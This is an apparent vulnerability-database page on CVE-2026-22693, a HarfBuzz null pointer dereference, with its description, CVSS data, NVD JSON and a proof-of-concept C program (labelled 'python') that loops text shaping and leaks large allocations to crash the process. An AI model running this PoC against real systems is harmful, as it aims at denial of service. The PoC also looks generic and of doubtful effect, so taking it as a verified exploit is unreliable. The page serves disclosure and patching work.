Security Vulnerability Report
中文
CVE-2026-22693 CVSS 5.3 MEDIUM

CVE-2026-22693

Published: 2026-01-10 06:15:52
Last Modified: 2026-02-18 17:49:23

Description

HarfBuzz is a text shaping engine. Prior to version 12.3.0, a null pointer dereference vulnerability exists in the SubtableUnicodesCache::create function located in src/hb-ot-cmap-table.hh. The function fails to check if hb_malloc returns NULL before using placement new to construct an object at the returned pointer address. When hb_malloc fails to allocate memory (which can occur in low-memory conditions or when using custom allocators that simulate allocation failures), it returns NULL. The code then attempts to call the constructor on this null pointer using placement new syntax, resulting in undefined behavior and a Segmentation Fault. This issue has been patched in version 12.3.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:harfbuzz_project:harfbuzz:*:*:*:*:*:*:*:* - VULNERABLE
HarfBuzz < 12.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <hb.h> #include <hb-ft.h> // Simulate memory allocation failure to trigger the vulnerability // This PoC demonstrates the vulnerability condition hb_font_t* create_font_with_shaping() { // Load a malformed or complex font that triggers cmap table parsing hb_face_t* face = hb_face_create_from_file("target_font.ttf", 0); if (!face) { return NULL; } hb_font_t* font = hb_font_create(face); if (!font) { hb_face_destroy(face); return NULL; } // Set up font functions hb_ft_font_set_funcs(font); // Trigger text shaping which internally calls SubtableUnicodesCache::create // In low memory conditions or with custom allocators, hb_malloc returns NULL const char* text = "Complex Unicode text requiring cmap table access"; hb_buffer_t* buf = hb_buffer_create(); hb_buffer_add_utf8(buf, text, -1, 0, -1); // This call may trigger the null pointer dereference hb_shape(font, buf, NULL, 0); hb_buffer_destroy(buf); return font; } int main() { // Run multiple times to increase chance of triggering the condition for (int i = 0; i < 1000; i++) { hb_font_t* font = create_font_with_shaping(); if (font) { hb_font_destroy(font); } // Force memory pressure if (i % 10 == 0) { malloc(1024*1024*100); // Allocate large block } } return 0; } // Compile: gcc -o poc poc.c $(pkg-config --cflags --libs harfbuzz freetype2) // Run in memory-constrained environment to trigger the vulnerability

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22693", "sourceIdentifier": "[email protected]", "published": "2026-01-10T06:15:52.063", "lastModified": "2026-02-18T17:49:22.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HarfBuzz is a text shaping engine. Prior to version 12.3.0, a null pointer dereference vulnerability exists in the SubtableUnicodesCache::create function located in src/hb-ot-cmap-table.hh. The function fails to check if hb_malloc returns NULL before using placement new to construct an object at the returned pointer address. When hb_malloc fails to allocate memory (which can occur in low-memory conditions or when using custom allocators that simulate allocation failures), it returns NULL. The code then attempts to call the constructor on this null pointer using placement new syntax, resulting in undefined behavior and a Segmentation Fault. This issue has been patched in version 12.3.0."}, {"lang": "es", "value": "HarfBuzz es un motor de conformación de texto. Antes de la versión 12.3.0, existe una vulnerabilidad de desreferencia de puntero nulo en la función SubtableUnicodesCache::create ubicada en src/hb-ot-cmap-table.hh. La función no verifica si hb_malloc devuelve NULL antes de usar 'placement new' para construir un objeto en la dirección de puntero devuelta. Cuando hb_malloc falla al asignar memoria (lo que puede ocurrir en condiciones de poca memoria o al usar asignadores personalizados que simulan fallos de asignación), devuelve NULL. El código entonces intenta llamar al constructor en este puntero nulo usando la sintaxis de 'placement new', lo que resulta en un comportamiento indefinido y un Fallo de Segmentación. Este problema ha sido parcheado en la versión 12.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:harfbuzz_project:harfbuzz:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.3.0", "matchCriteriaId": "394555F9-FE83-460B-B30E-11AFE2B9C748"}]}]}], "references": [{"url": "https://github.com/harfbuzz/harfbuzz/commit/1265ff8d990284f04d8768f35b0e20ae5f60daae", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/harfbuzz/harfbuzz/security/advisories/GHSA-xvjr-f2r9-c7ww", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/11/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mailing List", "Patch", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/12/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mailing List", "Patch", "Third Party Advisory"]}]}}